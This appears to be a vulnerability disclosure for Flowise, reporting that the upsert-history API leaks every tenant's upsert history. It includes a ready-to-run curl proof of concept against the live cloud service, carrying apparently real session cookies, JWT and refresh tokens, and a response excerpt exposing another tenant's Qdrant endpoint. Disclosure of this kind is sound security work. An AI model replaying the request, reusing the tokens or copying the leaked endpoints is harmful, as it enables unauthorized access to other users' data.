Flowise: Information Disclosure in GET /api/v1/upsert-history returns the entire server-wide upsert history

Summary

The GET /api/v1/upsert-history endpoint returns the entire server-wide upsert history (response size >100MB) instead of being scoped to the requesting user/tenant/workspace. The response includes sensitive configuration data (e.g., Vector Store settings such as Qdrant Server URL and collection name), resulting in a High severity information disclosure that may enable further targeted attacks.

Details

• Affected endpoint: GET /api/v1/upsert-history
• Observed behavior: The API returns global upsert history for the whole server, indicating missing/insufficient:
  • Authorization checks (RBAC/user-based access control)
  • Data scoping (workspace/project/tenant isolation)
  • Pagination/limits (excessive data exposure and very large responses)
• Sensitive data exposure: The returned history contains integration parameters and infrastructure details. Example excerpt from the response:
  js

  {
    "label": "Qdrant",
    "name": "qdrant",
    "category": "Vector Stores",
    "id": "qdrant_0",
    "paramValues": [
      {
        "label": "Qdrant Server URL",
        "name": "qdrantServerUrl",
        "type": "string",
        "value": "https://7f60f255-f7fd-4a1c-a734-fbcf904f9f85.europe-west3-0.gcp.cloud.qdrant.io"
      },
      {
        "label": "Qdrant Collection Name",
        "name": "qdrantCollection",
        "type": "string",
        "value": "fair-herring-azure"
      },
      {
        "label": "Vector Dimension",
        "name": "qdrantVectorDimension",
        "type": "number",
        "value": 1536
      },
      {
        "label": "Content Key",
        "name": "contentPayloadKey",
        "type": "string",
        "value": "content"
      },
      {
        "label": "Metadata Key",
        "name": "metadataPayloadKey",
        "type": "string",
        "value": "metadata"
      },
      {
        "label": "Similarity",
        "name": "qdrantSimilarity",
        "type": "options",
        "value": "Cosine"
      }
    ]
  }

POC

1. Using curl and call the enpoint GET /api/v1/upsert-history, sever returns the entire server-wide upsert history

curl 'https://cloud.flowiseai.com/api/v1/upsert-history'   -X GET   -H 'Host: cloud.flowiseai.com'   -H 'Accept: application/json, text/plain, */*'   -H 'Accept-Language: en-US,en;q=0.9'   -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:147.0) Gecko/20100101 Firefox/147.0'   -H 'X-Request-From: internal'   -H 'Referer: https://cloud.flowiseai.com/document-stores/vector/27d7e649-72c9-4333-836f-0a32b7ecda57/719bc75c-5810-4d22-aa03-35c7831b8819'   -H 'If-None-Match: W/"156-Xbc+zqRKlJRZDUydYMybuU4SQnY"'   -H 'Connection: keep-alive'   -H 'Cookie: _ga_DG9QMLV4DR=GS2.1.s1773632276$o1$g0$t1773632915$j60$l0$h0; _ga=GA1.1.938844242.1773632276; cf_clearance=Ug4PTMCbO8G.9n7ibaRBT.Y74flswLTgbR6V4qQbKUE-1773715307-1.2.1.1-2XGkql2bE8imFOsQJuw0x8yM9XW7QWbEe8ALEZ39Bm03kZu.vJLusY5_cRurAooKcK0XuqTjWgibQXYwWF91LbQZIXFefNzXuz6f8O7VzY5VM_h9p0_xICarIdDdB0hWfriItN1qbu00tqEmDgE_v2biNpNETXF3nC0wByJmhNWOcSh95lBd_Q5vALJQ0hc7pzhbPh.OuLbLtcCOlEv1YbwZWMSynj3hglpCeVkWqkM; connect.sid=s%3Axrkhl0YSNjvydmo24ASe3ezLStuedRCv.JABLEZmfWP74D9zGvFyDEELHFXqvDxHRnN3mJBhsKX8; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjJlNGUwYTI4LTNkMWEtNDc0Ny05NmYzLWI1YzE1YTA1NDg4YyIsInVzZXJuYW1lIjoiVHJ1b25nIE5ndXllbiIsIm1ldGEiOiJhYjFiNzVjZTNmZmMyMzAzMTMwMmYwOGQ2MzU2YjQ3NjoxMTUzNzk3NDU1YTRhMmVhMDc3YWM0ODExNmRjMjhiOTNmZDlmMzg0OTAxZjhlNDliZTk2NjczMGM3N2YyZTc0ZjVkODNkYTJjMjNlOWZjNWM5ZDdmYzQ1ZDY2MmM0NWQwZWQ3MTMzYmZiZTA1MTAxZGRjNjY4OGYxZTJiNDZjNWU2YjU5OTdjMmE3OWVjNjc2MWU5NDZhYTkyNjg3MDY4IiwiaWF0IjoxNzczNzEzNTk0LCJuYmYiOjE3NzM3MTM1OTQsImV4cCI6MTc3MzczNTE5NCwiYXVkIjoiQVVESUVOQ0UiLCJpc3MiOiJJU1NVRVIifQ.UDFurQPA6-bKQ7mZg0Qetu6yAv1UK3vaz27ZUhUoamc; refreshToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjJlNGUwYTI4LTNkMWEtNDc0Ny05NmYzLWI1YzE1YTA1NDg4YyIsInVzZXJuYW1lIjoiVHJ1b25nIE5ndXllbiIsIm1ldGEiOiJhNmU2MjJjNmFiMWU1MWEwYzcwNmViOWVkODA2MDFmZjpjYjIyN2ZhMjA4ZDIwYjk0NjAxMjFlNDhkZTZjZDg4Yzk0NmMwNzBjZjhhMGYwNDBlNzEzOTkzOTkyMzNmZWQ3ZWViNjk0ZmE3NGY4MGJkOTA1ZjZkM2I2Y2FlYmI5YmRjMWQ3YTgxZjMxNzBkYjI5MDJlMGYzNmZiN2I0ZDc2YWRkNjkzZmI5YWE5OGNjYjc1ZWI0OGVmMjBjMWNjNmU4IiwiaWF0IjoxNzczNjMzMDA0LCJuYmYiOjE3NzM2MzMwMDQsImV4cCI6MTc3NjIyNTAwNCwiYXVkIjoiQVVESUVOQ0UiLCJpc3MiOiJJU1NVRVIifQ.0HlslRzoFo0Tlt4Jbn9gnEwsQej4ilMd8qjhLBZQO5Q; __cf_bm=.BG97WtFqwwk0DMVJB1BlcHRdhQv70bLu4f_QpH5qo4-1773721030-1.0.1.1-IwhUPW6O9uNcNsOZl7LLgpnm8_ll18rzoOFu085wZQQgTvVvaPwVFJObxSJ1.NRyS5MWsRbJi1BhUNMTJjSR2s9EyuSBzn2s_eXblq8rTh8'   --compressed   -sS -o resp.json

2. Verify the response size (expected: very large, e.g., >100MB)

ls -lh resp.json

Impact

• Vulnerability type: Information Disclosure / Broken Access Control (missing authorization and/or missing tenant/workspace scoping)
• Who is impacted: All users/tenants/workspaces whose upsert history and configuration data are included in the server-wide history
• Security consequences:
  • Exposure of infrastructure/integration details (e.g., Qdrant endpoint URLs, collection names, vector dimensions), enabling reconnaissance and targeted follow-up attacks
  • Leakage of internal schema/pipeline details (e.g., content/metadata keys)
  • Potential resource abuse: repeated downloads of a >100MB response can increase bandwidth/CPU/memory load (amplifying DoS risk)